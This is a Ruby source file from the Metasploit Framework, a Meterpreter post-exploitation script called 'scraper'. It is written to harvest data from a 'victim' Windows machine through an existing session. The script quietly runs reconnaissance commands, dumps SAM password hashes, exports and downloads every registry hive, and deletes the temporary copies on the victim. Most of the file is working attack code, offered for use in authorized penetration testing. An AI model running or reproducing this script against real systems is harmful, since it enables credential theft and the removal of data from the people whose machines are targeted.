metasploit-framework/scripts/meterpreter/scraper.rb

# This is a Meterpreter script designed to be used by the Metasploit Framework
#
# The goal of this script is to obtain system information from a victim through
# an existing Meterpreter session. This is only a simple example of what can
# be accomplished through Meterpreter scripting.
#
# hdm[at]metasploit.com
#
opts = Rex::Parser::Arguments.new(
  "-h" => [ false,"Help menu." ]
)

opts.parse(args) { |opt, idx, val|
  case opt
  when "-h"
    print_line("Scraper -- harvest system info including network shares, registry hives and password hashes")
    print_line("Info is stored in " + ::File.join(Msf::Config.log_directory,"scripts", "scraper"))
    print_line("USAGE: run scraper")
    print_line(opts.usage)
    raise Rex::Script::Completed
  end
}

require 'fileutils'

# Some of this script was developed in conjunction with _MAX_ (max[at]remote-exploit.org)
# The complete version will be released in the future as 'autometer'

# Delete a file (meterpreter has no unlink API yet)
def m_unlink(client, path)
  r = client.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'})
  while(r.name)
    select(nil, nil, nil, 0.10)
  end
  r.close
end
def unsupported
  print_error("This version of Meterpreter is not supported with this Script!")
  raise Rex::Script::Completed
end
# Exec a command and return the results
def m_exec(client, cmd)
  begin
    r = client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
    b = ""
    while(d = r.channel.read)
      b << d
      break if d == ""
    end
    r.channel.close
    r.close
    b
  rescue ::Exception => e
    print_error("Failed to run command #{cmd}")
    print_error("Error: #{e.class} #{e}")
  end
end




# Extract the host and port
host,port = client.session_host, client.session_port

print_status("New session on #{host}:#{port}...")

# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper', host + "_" + Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",rand(100000)) )

# Create the log directory
::FileUtils.mkdir_p(logs)

unsupported if client.platform !~ /win32|win64/i
begin

  tmp = client.fs.file.expand_path("%TEMP%")

  print_status("Gathering basic system information...")

  ::File.open(File.join(logs, "network.txt"), "w") do |fd|
    fd.puts("=" * 70)
    client.net.config.each_route do |route|
      fd.puts("Local subnet: #{route.subnet}/#{route.netmask}")
    end

    fd.puts("=" * 70)
    fd.puts(m_exec(client, "netstat -na"))

    fd.puts("=" * 70)
    fd.puts(m_exec(client, "netstat -ns"))
  end

  info = client.sys.config.sysinfo()
  ::File.open(File.join(logs, "system.txt"), "w") do |fd|
    fd.puts("Computer: #{info['Computer']}")
    fd.puts("OS: #{info['OS']}")
  end

  ::File.open(File.join(logs, "env.txt"), "w") do |fd|
    fd.puts(m_exec(client, "cmd.exe /c set"))
  end

  ::File.open(File.join(logs, "users.txt"), "w") do |fd|
    fd.puts(m_exec(client, "net user"))
  end

  ::File.open(File.join(logs, "shares.txt"), "w") do |fd|
    fd.puts(m_exec(client, "net share"))
  end

  ::File.open(File.join(logs, "services.txt"), "w") do |fd|
    fd.puts(m_exec(client, "net start"))
  end

  ::File.open(File.join(logs, "nethood.txt"), "w") do |fd|
    fd.puts(m_exec(client, "net view"))
  end

  ::File.open(File.join(logs, "localgroup.txt"), "w") do |fd|
    fd.puts(m_exec(client, "net localgroup"))
  end

  ::File.open(File.join(logs, "group.txt"), "w") do |fd|
    fd.puts(m_exec(client, "net group"))
  end

  ::File.open(File.join(logs, "systeminfo.txt"), "w") do |fd|
    fd.puts(m_exec(client, "systeminfo"))
  end

  begin
    client.core.use("priv")
    hashes = client.priv.sam_hashes
    print_status("Dumping password hashes...")
    ::File.open(File.join(logs, "hashes.txt"), "w") do |fd|
      hashes.each do |user|
        fd.puts(user.to_s)
      end
    end
  rescue ::Exception => e
    print_status("Error dumping hashes: #{e.class} #{e}")
  end

  print_status("Obtaining the entire registry...")
  hives = %w{HKCU HKLM HKCC HKCR HKU}
  hives.each do |hive|
    print_status(" Exporting #{hive}")

    tempname = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}.reg"
    m_exec(client, "reg.exe export #{hive} #{tempname}")

    print_status(" Downloading #{hive} (#{tempname})")
    client.fs.file.download_file(File.join(logs, "#{hive}.reg"), tempname)

    print_status(" Cleaning #{hive}")
    m_unlink(client, tempname)
  end

  print_status("Completed processing on #{host}:#{port}...")

rescue ::Exception => e
  print_status("Exception: #{e.class} #{e} #{e.backtrace}")
end